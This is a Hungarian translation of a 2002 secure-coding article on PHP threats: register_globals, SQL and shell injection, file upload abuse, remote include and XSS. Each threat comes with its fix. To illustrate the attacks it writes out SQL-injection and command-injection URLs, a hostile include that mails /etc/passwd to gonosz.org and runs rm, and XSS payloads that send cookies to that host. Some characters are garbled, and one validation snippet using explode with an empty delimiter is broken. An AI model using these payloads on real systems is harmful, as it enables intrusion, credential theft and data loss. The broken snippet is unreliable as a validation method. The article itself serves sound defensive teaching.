# 3A PHP-programozás és a biztonság

Meglehetősen könnyű olyan kódot írni, ami ellenáll az általános támadásoknak. Ismerkedjünk meg az alapelvekkel!

Ebben a cikkben a PHP programozási nyelvvel kapcsolatos biztonsági fenyegetésekkel és a támadások kiküszöbölésének módozataival ismerkedünk meg. Tudnod kell, hogy most csak néhány lehetséges hibát és elkerülési módozatot tárgyaluk, ezzel is csökkenteni szeretnénk a lehetséges támadások kockázatát, egyben növelni az okos védekezés esélyeit.
Biztonságos alkalmazás írásakor a legalapvetőbb szabály, hogy a felhasználó által megadott bemenetben sosem szabad megbízni! A nem megfelelően ellenőrzött beolvasott értékek jelentik a legnagyobb veszélyt a webes alkalmazások esetében. Más szavakkal, a felhasználói bevitelt mindaddig bűnösnek tekintjük, amíg ártatlansága nem bizonyított.

## Teljes változói hatókör

A 4.2.0 előtti PHP-változatok a bejegyzett változókat az egész program területén érvényessé tették, így egyetlen változó tartalmában sem lehetett bízni, lehetett az külső vagy belső változó. Nézzük meg ezt a példát:

```
<?php
     if (felhasznalo_azonositasa()) {
          $azonositva = true;
     }
     ...

     if (!$azonositva) {
          die("HozzÆfØrØs megtagadva!");
     }
?>
```

Ha a GET-módszerrel az `$azonositva` változót `1`-re állítod, mint ebben a példában:

```
http://example.com/admin.php?azonositva=1
```

akkor a második azonosítási kapun sikerrel átjuthatnál. Szerencsére a 4.1.0-s változat óta a PHP nem támogatja a `register_globals`-t. Ez annyit tesz, hogy a `GET`-en, `POST`-on a sütikkel, kiszolgálótól, munkakörnyezetből kapott változók, illetve az adott munkafolyamat változói már nem lesznek önműködően a teljes programból elérhetők, vagyis nem kapnak teljes hatókört. Az így létrejövő változók ezentúl a PHP különleges tömbjein keresztül lesznek elérhetők. Az így létrejövő egyes tömbök nevei: `$_GET`, `$_POST`, `$_COOKIE`, `$_SERVER`, `$_ENV`, `$_REQUEST`, és `$_SESSION`.
Ha a `register_globals` változó nálad be lenne kapcsolva, légy kegyes önmagadhoz, és kapcsold ki! Ha kikapcsolod, és megfelelően ellenőrzöd a felhasználói adatbevitelt, máris nagy lépést tettél a biztonság eléréséhez vezető rögös úton. Sok esetben a típuskényszerítés elégséges ellenőrzésnek minősül. A felhasználó böngészőjében futó JavaScriptre épülő űrlapellenőrzők teljesen hatástalanok, mivel a felhasználó még bármilyen adatot el tud küldeni tőlük a programnak – nem csak azokat, amelyeket az űrlap egyébként engedélyezne. Lássunk egy példát, hogyan is fest mindez:

```
<?php
     $_SESSION['azonositva'] = false;
     if (felhasznalo_azonositasa()) {
          $_SESSION['azonositva'] = true;
     }
     ...

     if (!$_SESSION['azonositva']) {
          die("HozzÆfØrØs megtagadva!");
     }
?>
```

## Adatbázis-műveletek

A legtöbb PHP-program valamilyen adatbázisra épül, így a felhasználótól bekért adatokból hoz létre SQL-lekérdezéseket. Az ilyenfajta kapcsolatok veszélyforrássá válhatnak. Képzeljünk el egy PHP-programot, ami egy táblából származó adatokkal dolgozik. Majd ugyanez a program egy webes űrlapon keresztül visszaküldeti magának az adatokat a `POST` eljárás segítségével, és a felhasználó kérésének megfelelően frissíti a táblát:

```
<?php
     if ($lekerdezes_az_urlapbol) {
          $db->query("update $tabla set
                    ➥nev=$nev");
     }
?>
```

Ha nem ellenőrzöd le az űrlaptól kapott `$tabla` változót, és azt, hogy a `$lekerdezes_az_urlapbol` változó tényleg az űrlaptól jött-e (a `$_POST['lekerdezes_az_urlapbol']` segítségével), akkor a változót akár egy `GET`-en keresztül is visszaküldhették. Például ilyen módon:

```
http://example.com/edit.php?
➥lekerdezes_az_urlapbol=1&tabla=users+set+
➥password%3Daaa+where+user%3D%27admin%27+%23
```

Ez a következő SQL-lekérdezést eredményezi:

```
update users set password=aaa
  where user="admin" # set name=$name
```

Egyszerűen leellenőrizhetjük a `$tabla` változó értékét, ha megnézzük, hogy mondjuk csak betűket tartalmaz-e vagy egyetlen szóból áll-e:

```
if (count(explode("",$tabla)) { ... }
```

## Külső programok hívása

Néha szükség lehet rá, hogy PHP-programunkból külső programot hívjunk meg – a `system()`, `exec()`, `popen()` vagy `passthru()` függvényeket, vagy az egyszeres fordított idéző-jel műveleti jelet felhasználva. Az egyik legveszélyesebb dolog, amikor valamilyen felhasználótól bekért adattal – akár programnévként, akár kapcsolóként – szeretnénk meghívni egy programot. Az ezzel járó veszélyekre a PHP-kézikönyv is külön figyelmeztet; megjegyzi, hogy amennyiben egy programot a felhasználótól származó adattal hívunk meg, szükség lehet az `escapeshellarg()` vagy `escapeshellcmd()` függvények használatára, így elkerülhetjük, hogy a felhasználó a rendszert kijátszva bármilyen program végrehajtására képes legyen. Nézzük a következő példát:

```
<?php
     $fp = popen('/usr/sbin/sendmail -i '.
                 ➥$cimzett, 'w');
?>
```

A felhasználó ebben az esetben a `$cimzett` változót egyszerűen módosíthatja, méghozzá így:

```
http://example.com/send.php?$cimzett=gonosz%
➥40gonosz.org+%3C+%2Fetc%2Fpasswd%3B+rm+%2A
```

A kérés következtében a következő utasítások futnának le:

```
/usr/sbin/sendmail -i
➥gonosz@gonosz.org/etc/passwd; rm
```

A biztonsági hiba egyszerűen orvosolható:

```
<?php
     $fp = popen('/usr/sbin/sendmail -i '.
           ➥escapeshellarg($cimzett), 'w');
?>
```

Még ennél is jobb, ha a `$cimzett` változóban található értéket ellenőrzöd egy szabályos kifejezéssel (regexp, vagyis regular expression), hogy valóban szabályos levélcím található-e benne.

## Fájlok feltöltése

Fájlfeltöltésnél úgyszintén számítanunk kell hibákra a PHP által alkalmazott módszer miatt. A PHP létrehoz egy teljes hatókörű változót a fájl űrlapban lévő bemeneti tagjának megfelelően, majd ezt követően létrehoz egy állományt a feltöltött fájl tartalmának megfelelően, azt azonban nem ellenőrzi, hogy a fájlnév elfogadható-e, és hogy valóban a feltöltött fájlt takarja-e.

```
<?php
     if ($fajl_feltoltes && $fn_type ==
        ➥'image/gif' &&
             $fn_size < 100000) {
          copy($fn, 'kØpek/');
          unlink($fn);
     }
?>
<form method="post" name="fajl_feltoltese"
➥action="fupload.php" enctype="multipart/
➥form-data">
File: <input type="file" name="fn">
<input type="submit" name="fajl_feltoltes"
➥value="Felt ltØs">
```

Egy rossz szándékú felhasználó létrehozhatja a saját űrlapját, ami mondjuk valamilyen kényes dolgokat tartalmazó fájlra hivatkozik, és ilyen módon rávehetné a programunkat, hogy a kívánt fájlt jelenítse meg:

```
<form method="post" name="fajt_feltoltese"
➥action="fupload.php">
<input type="hidden" name="fn"
➥value="/var/www/html/index.php">
<input type="hidden" name="fn_type"
➥value="text">
<input type="hidden" name="fn_size"
➥value="22">
<input type="submit" name="fajl_feltoltes"
➥value="Felt ltØs">
```

Ilyen módon a program a */var/www/html/index.php* fájlt másolná a képek/ könyvtárba. A megoldást a `move_uploaded_file()` és `is_uploaded_file()` függvények használata jelenti. A felhasználó által feltöltött fájlokkal egyéb bajok is vannak. Képzeljünk el egy webes alkalmazást, ami engedélyezi a 100 K-nál kisebb állományok feltöltését. Ilyen esetekben se a `move_uploaded_file()`, se az `is_uploaded_file()` függvény nem segítene. A támadó még így is elküldhetné a saját űrlapját, megadva a fájl méretét, akárcsak az előző példában. A fájl valódiságának ellenőrzésére a legalkalmasabb út az, ha az adatok lekérdezésére a `$_FILES` teljes hatókörű tömböt használjuk:

```
<?php
  if ($fajl_feltoltes &&
       $_FILES['fn']['type'] == 'image/gif' &&
       $_FILES['fn']['size'] < 100000) {
            move_uploaded_file(
                 $_FILES['fn']['tmp_name'],
                 ➥'kØpek/');
  }
?>
```

## Beszerkesztett (include) fájlok

PHP-ban az `include()`, `include_once()`, `require()` és `require_once()` segítségével helyi és távoli fájlokat egyaránt be lehet szerkeszteni a programba. Ez hasznos lehetőség, mivel ilyen módon külön fájlokban lehet tárolni az osztályokat, az újrahasznosított kódot és a többit, így növelve a kód karbantarthatóságát és megbízhatóságát.
Ugyanakkor alapvetően elég veszélyes távoli fájlokat beszerkeszteni, mivel elképzelhető, hogy a távoli oldalt netán feltörték, vagy a kapcsolatot egy másik kiszolgálóra térítették el. Bármelyik esetben a programba ismeretlen és esetlegesen rossz szándékú kód illesztődik be.
A fájlok beszerkesztése néhány más jellegű gondot is felvet, különösen ha a fájlok neve vagy elérési útja valamilyen felhasználótól bekért adaton alapul. Képzeljünk el egy programot, ami HTML-fájlokat illeszt be és jelenít meg valamilyen megfelelő formátumban:

```
<?php
include($oldalszerkezet);
?>
```

Ha valaki az `$oldalszerkezet` változót mondjuk a GET-en keresztül adná meg, könnyen kitalálható, milyen következményekkel számolhatunk:

```
http://example.com/leftframe.php?layout=
➥/etc/passwd
vagy
http://example.com/leftframe.php?layout=
➥http://gonosz.org/huncut.html
```

és ez a ***huncut.html*** mondjuk a következő néhány sort tartalmazza:

```
<?php
     passthru(·rm ·);
     passthru(·mail gonosz@gonosz.org
     ➥</etc/passwd·);
?>
```

Hogy ezt az eshetőséget elkerüljük, mindenképpen ellenőrizzük le a változó tartalmát, mondjuk egy szabályos kifejezéssel.

## Oldalak közti kódátvitel (Cross-Site Scripting – XSS)

Az újságoknak és híroldalaknak köszönhetően ez a támadási forma meglehetősen nagy ismertségre tett szert az elmúlt időkben. Egy egyszerű kereséssel a BugTraq levelezési lista archívumában csak júniusban 15 találatot kapunk, amelyek mind különböző webes alkalmazások XSS-en alapuló hibáit tárgyalják. Az effajta támadás egyenesen az oldalak felhasználói ellen irányul. Ezt a támadó úgy éri el, hogy rábírja a felhasználót, kattintson egy megfelelően kialakított hivatkozásra. Ez egyszerűen megoldható mondjuk egy HTML-levéllel, egy webalapú fórumban, de akár egy sanda szándékú weboldalon is. Az áldozat talán nem is tud róla, hogy egy ilyen trükkös hivatkozásra kattintott, ha ez a hivatkozás mondjuk egy weboldalba van beágyazva; sőt olykor egy-egy hiba kiaknázása még felhasználói közreműködést sem igényel. Vagyis ha a felhasználó böngészője megkapja a kért oldalt, az abban található parancsfájl a felhasználó biztonsági beállításai mellett szinte bármit megtehet.
A korszerű felhasználóoldali parancsnyelvek egy sor olyan szolgáltatással rendelkeznek, amelyek esetenként egyáltalán nem biztonságosak. Bár alapesetben a JavaScript csak az adott oldal sütijeit érheti el, a rosszul megírt parancsfájlok esetenként azonban más oldalak sütijeihez is hozzáférhetnek.
XSS-támadásoknál gyakori eset, hogy például a felhasználó be van valamilyen webes alkalmazásba jelentkezve, és a munkafolyamatához tartozó sütik a gépén tárolódnak, a támadó pedig egy ellenőrizetlen bemenet segítségével egy hivatkozást készít az alkalmazáshoz, ami feldolgozza az áldozat kérését, és meg is jeleníti azt.
Az alábbi példa arra szolgál, hogy megértsük, miről van szó. Képzeljünk el egy webes alkalmazást, ami vakon megjeleníti a levélhez tartozó ***téma*** mezőt:

```
<?php
     ...
     echo "<TD> $tema </TD>";
?>
```

Ebben az esetben a támadó akár egy JavaScript-kódot is elrejthet a levél téma mezőjébe, ami – ha a felhasználó megnézi a levelet – önmagától végrehajtódik. Ez a hiba felhasználható arra, hogy a felhasználó sütijeinek a segítségével egy ehhez hasonló JavaScript-kóddal ellopják munkafolyamatot:

```
<script>
self.location.href="http://gonosz.org/
➥suticsapda.html?suti="+escape(document.cookie)
</script>
```

Amikor a felhasználó megnyitja a hivatkozást, akkor a JavaScript-kódban megadott helyre irányítódik tovább, ami egyúttal a felhasználó sütijeit is kiadja. A támadónak nem kell mást tennie, mint belepillantania a webkiszolgáló naplófájljaiba, hogy megtudja az áldozat munkafolyamatának azonosítóit.
A `htmlspecialchars()` függvénnyel azonban elkerülhetjük az efféle kellemetlenségeket. A `htmlspecialchars()` a HTML-vezérlőkaraktereket HTML-kódokká alakítja, vagyis például a `< Øs >` karaktereket a `<script>`-ből a nekik megfelelő HTML-kóddá alakítja át, `<`-vé, és `>`-vé. Így amikor az áldozat böngészője megjeleníti az oldalt, semmi veszélyes nem történhet, mivel a levélben csak egy `<script>` karaktersorozatot lát, aminek semmilyen jelentése nincs, egyszerű szövegként értelmezhető.
A megoldás tehát a következő:

```
<?php
     ...
     echo "<TD> ".htmlspecialchars($tema)."
     ➥</TD>";
?>
```

Egy másik általános eset, amikor egy űrlap nem látható mezőjébe szúrunk be értékeket:

```
<input type="hidden" name="oldal"
➥value="<?php echo $oldal; ?>">
```

Lássuk a következő URL-t:

```
http://example.com/oldal.php?oldal="><
➥<script>self.location.href="http://gonosz.org/
➥xss-tamadas.html?sutik="
➥+escape(document.cookie)</script>
```

Ha a támadónak sikerül rávennie minket, hogy ellátogassunk egy ehhez hasonló hivatkozásra, lehetséges, hogy böngészőnket a támadó oldalára irányítja tovább, mint az előző példában. Mivel azonban az `$oldal` változó számtípusú, az effajta hiba egyszerű típuskényszerítéssel elkerülhető:

```
<input type="hidden" name="page" value=
➥"<?php echo intval($page); ?>">
```

Még egyszer tehát: ahhoz, hogy az efféle támadásokat elkerüljük, mindig ellenőrizni kell a felhasználó által megadott bevitelt, vagy pedig – mielőtt bármit is megjelenítenénk – a `htmlspecialchars()` függvénnyel el kell távolítanunk a HTML-vezérlőkaraktereket.

*Linux Journal 2002. október, 102. szám*

*Nuno Loureiro*
(nuno@eth.pt) az ethernet lda társalkotója (➲ http://www.eth.pt). Három éve foglalkozik PHP-programozással, számos webalkalmazás készítését irányította. Szeret hegyet mászni és túrázni.